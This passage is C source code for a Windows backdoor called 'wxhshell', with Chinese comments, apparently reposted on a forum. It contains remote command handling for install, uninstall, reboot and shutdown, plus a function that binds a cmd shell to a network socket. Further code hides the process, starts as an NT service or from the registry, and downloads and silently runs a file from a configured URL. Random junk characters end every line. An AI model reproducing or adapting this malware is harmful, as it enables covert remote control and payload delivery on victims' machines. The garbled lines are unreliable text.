      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }1V&(#H2  
    break; $dR%8@.H  
  } XebCl{HHp  
  // 安装 uT1x\Rt|e  
  case 'i': { _D~a4tgS  
    if(Install()) YdFCYSiS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z2V!u\It  
    else D)5wGp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VI?[8@*Z  
    break; -Q; w4@  
    } {-xnBx  
  // 卸载 zF PSk ]  
  case 'r': { $IHa]9 {  
    if(Uninstall()) pfT7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (I$hw"%&  
    else AF@C9s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _PIk,!<  
    break; d1-QkW^0y  
    } b}fH$.V@  
  // 显示 wxhshell 所在路径 +"!IVHY  
  case 'p': { =F9-,"EAI  
    char svExeFile[MAX_PATH]; x-1[2K1"[  
    strcpy(svExeFile,"\n\r"); <x/&Ml+  
      strcat(svExeFile,ExeFile); ,f$ RE6  
        send(wsh,svExeFile,strlen(svExeFile),0); @:63OLlrG  
    break; >9 iv>  
    } KvQ9R!V  
  // 重启 du !.j  
  case 'b': { "jSn`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sdb#K?l  
    if(Boot(REBOOT)) 7$'ja  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /vu7;xVG  
    else { x RfX:3  
    closesocket(wsh); PF.HYtZqK  
    ExitThread(0); (f)QEho7  
    } >a<;)K^1  
    break; \?j(U8mB>  
    } u>BR WN  
  // 关机 %vW@_A~  
  case 'd': { VD4(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x-[l`k.V  
    if(Boot(SHUTDOWN)) M-n +3E9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8g3 6-8  
    else { gY%-0@g  
    closesocket(wsh); % n^]1R#  
    ExitThread(0); #r\uh\Cy  
    } t4h* re+  
    break; B#=dz,}  
    } rB4]TQ`c  
  // 获取shell n'SnqJ&}  
  case 's': { $3So`8Bm[$  
    CmdShell(wsh); ^Kn}{m/3Y  
    closesocket(wsh); u!O)\m-  
    ExitThread(0); +:b| I'S  
    break; r_QWt1K  
  } },l3N K  
  // 退出 }q^CR(h (R  
  case 'x': { |.YL 2\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J( 0c#}d  
    CloseIt(wsh); 2?&h{PA+  
    break; ;aSEv"iWX  
    } K#>B'>A\  
  // 离开 #(OL!B  
  case 'q': { bS*9eX=K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >6c{CYuT  
    closesocket(wsh); #<{sP 0v*  
    WSACleanup(); =7a9~&|  
    exit(1); +BESO  
    break; Lx.X#n.]T  
        } ~MOIrF  
  } 9BP-Iet  
  } -{HA+YL H  
[l0>pHl@  
  // 提示信息 OmsNo0OA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YtFtU;{  
} % _N-:.S  
  } JMXCyDy;  
yJ?6BLJi  
  return; ~x2azY2DP  
} YM-,L-HMA  
Au9Rr3n  
// shell模块句柄 aPRF  
int CmdShell(SOCKET sock) d+8Sypv^4*  
{ zhS\|tI  
STARTUPINFO si; o]@?QAu  
ZeroMemory(&si,sizeof(si)); LqNsQu";  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _k&vW(O=:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :AL nm0d  
PROCESS_INFORMATION ProcessInfo; O9bIo]B  
char cmdline[]="cmd"; Pwf":U)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); " 5=Gu1  
  return 0; @I9A"4Im  
} ,#nyEE  
5-*/wKjLz  
// 自身启动模式 Vf0m7BJc3  
int StartFromService(void) }5EvBEv-)  
{ G22u+ua  
typedef struct O.i.<VD7  
{ C1hp2CW$5/  
  DWORD ExitStatus; n}EH{k9#  
  DWORD PebBaseAddress; NbH;@R)L  
  DWORD AffinityMask; !IcP O  
  DWORD BasePriority; X-=49)  
  ULONG UniqueProcessId; fTMn  
  ULONG InheritedFromUniqueProcessId; K1Mn_)%  
}   PROCESS_BASIC_INFORMATION; U 1vZ r{\  
12.|Ed*72  
PROCNTQSIP NtQueryInformationProcess; U`z=!KI+g  
05Ak[OOU>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S3$&}I <  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BKi@c\Wb  
p[>! ;qI  
  HANDLE             hProcess; EjrK.|I0  
  PROCESS_BASIC_INFORMATION pbi; ^8OK.iC  
\Cx2$<8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vr"O9L w  
  if(NULL == hInst ) return 0; 0tK(:9S  
xcty  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2)-Umq{]{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |cs]98FEf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9!; /+P  
0.+MlyA  
  if (!NtQueryInformationProcess) return 0; G .NGS%v  
ZwM(H[iqL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -e(e;e  
  if(!hProcess) return 0; `p#tx.o  
n86LU Sj5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !c W6dc^  
x.8fxogz  
  CloseHandle(hProcess); ew?4;  
T\q:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Lcb5^e?'Q  
if(hProcess==NULL) return 0; Y7BmW+  
gamE^Ee  
HMODULE hMod; TophV}@B`  
char procName[255]; >cJix 1  
unsigned long cbNeeded; 0fu*}v"  
VkFMr8@|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cDS \=Bf  
u:.w/k%+  
  CloseHandle(hProcess); -Gy=1W`09  
Y \Gx|  
if(strstr(procName,"services")) return 1; // 以服务启动 2)hfYLi  
Y O&@  
  return 0; // 注册表启动 ]n}aePl}oU  
} }k;wSp[3  
7cB/G:{  
// 主模块 B`|f"+.  
int StartWxhshell(LPSTR lpCmdLine) |P@N}P@  
{ f*}}Az.4  
  SOCKET wsl; "%lIB{  
BOOL val=TRUE; nr&bpA/  
  int port=0; ijP `fM8  
  struct sockaddr_in door; Fs"i fn0  
?zex]!R  
  if(wscfg.ws_autoins) Install(); 9fm9xTL  
>v2/0>U  
port=atoi(lpCmdLine); .+A)^A  
__!LTpp  
if(port<=0) port=wscfg.ws_port; pu~b\&^G  
,oykOda:|  
  WSADATA data; >dx/k)~~-L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `*6|2  
e>6|# d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DL`8qJ'mJs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IdqCk0lVD  
  door.sin_family = AF_INET; X$e*s\4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !0dQfj^_  
  door.sin_port = htons(port); 3^[P  
=^1jVaAL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k3K*{"z  
closesocket(wsl); q #mBNe62p  
return 1; eAmI~oku  
} Om^(CAp  
nrHC;R.nE  
  if(listen(wsl,2) == INVALID_SOCKET) { aq)g&.dw?  
closesocket(wsl); , # =TputM  
return 1; s_  t/  
} @R%* ;)*F  
  Wxhshell(wsl); tn#cVB3  
  WSACleanup(); fLnwA|n=  
3Q'vVNFh<  
return 0; /poGhB 1k  
<8(=Lv`)q  
} 4GbfA .u  
LaO8)lqR  
// 以NT服务方式启动 a*-9n-U@[k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _V 4O#;%?  
{ !KMl'kswe:  
DWORD   status = 0; 9}%$j  
  DWORD   specificError = 0xfffffff; /jNvHo^B  
! ui   
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^3[_4av  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3m= _a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l]4=W<N  
  serviceStatus.dwWin32ExitCode     = 0; !NH(EWER  
  serviceStatus.dwServiceSpecificExitCode = 0; WG A1XQ{  
  serviceStatus.dwCheckPoint       = 0; +: x[cK  
  serviceStatus.dwWaitHint       = 0; EjL]#,QR  
D6A u)1y=&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .u>[m.  
  if (hServiceStatusHandle==0) return; HdN5zl,q  
hs[x\:})/  
status = GetLastError(); y_X jY  
  if (status!=NO_ERROR) aX`uF<c9  
{ E447'aJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +q'\rpt  
    serviceStatus.dwCheckPoint       = 0; ?h6|N%U'  
    serviceStatus.dwWaitHint       = 0; ulxfxfd  
    serviceStatus.dwWin32ExitCode     = status; WW+xU0  
    serviceStatus.dwServiceSpecificExitCode = specificError; ("\{=XA Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ie(i1?`A8  
    return; &nDXn|  
  } ]f#s`.A~  
L/ Q[N^ (^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s> m2qSu  
  serviceStatus.dwCheckPoint       = 0; `Jk0jj6Z  
  serviceStatus.dwWaitHint       = 0; GA[Ebzi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @Wc5r#  
} .6P.r}  
YZ5,K6u  
// 处理NT服务事件,比如:启动、停止 `mzlOB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W?5')  
{ Ux7LN @4og  
switch(fdwControl) Ez;Qo8  
{ JD#x+~pb,8  
case SERVICE_CONTROL_STOP: [EDX@Kdq)  
  serviceStatus.dwWin32ExitCode = 0; :a6LfPEAX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TY)QE  
  serviceStatus.dwCheckPoint   = 0; i}VF$XN  
  serviceStatus.dwWaitHint     = 0; jd](m:eG  
  { \= v.$u"c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /QY F|%7!  
  } iqvLu{  
  return; S[1<Qrv]  
case SERVICE_CONTROL_PAUSE: hE|P|0U,n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .Q%Hi7JMi  
  break; ,c4HicRJ#  
case SERVICE_CONTROL_CONTINUE: X>8,C^~$1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1ZI1+TDH  
  break; M@R"-$Z  
case SERVICE_CONTROL_INTERROGATE: S3\NB3@qC&  
  break; eCYPd-d  
}; 5E\.YqdV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "iA0hA  
} N[p o)}hp  
k5I;Y:~`  
// 标准应用程序主函数 d.FU) )lmD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $AZYY\1  
{ B+K6(^j,,y  
Q,[G?vbj  
// 获取操作系统版本 -B;#pTG  
OsIsNt=GetOsVer(); SLKpl LO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O;H6`JQ  
j{%;n40$  
  // 从命令行安装 ysz =Xw  
  if(strpbrk(lpCmdLine,"iI")) Install(); m+0yf(w  
dymq Z<  
  // 下载执行文件 #RBrii-,  
if(wscfg.ws_downexe) { v>_@D@pr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }T@=I&g;  
  WinExec(wscfg.ws_filenam,SW_HIDE); &eHRn_st5b  
} HU'Mi8xxy  
M76p=*  
if(!OsIsNt) { K6kz{R%`  
// 如果时win9x,隐藏进程并且设置为注册表启动 inWLIXC,  
HideProc(); --WQr]U/  
StartWxhshell(lpCmdLine); /K#k_k  
} S"cTi[9  
else m\56BP-AM  
  if(StartFromService()) Am<5J,<uy  
  // 以服务方式启动 xU.1GI%UPu  
  StartServiceCtrlDispatcher(DispatchTable); fzIs^(:fl  
else }|.<EkA  
  // 普通方式启动 |-Uh3WUE6  
  StartWxhshell(lpCmdLine); YNr"]SA@;  
B&]`OO>O  
return 0; $fmTa02q>  
}
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只看该作者 1 发表于: 2006-10-10
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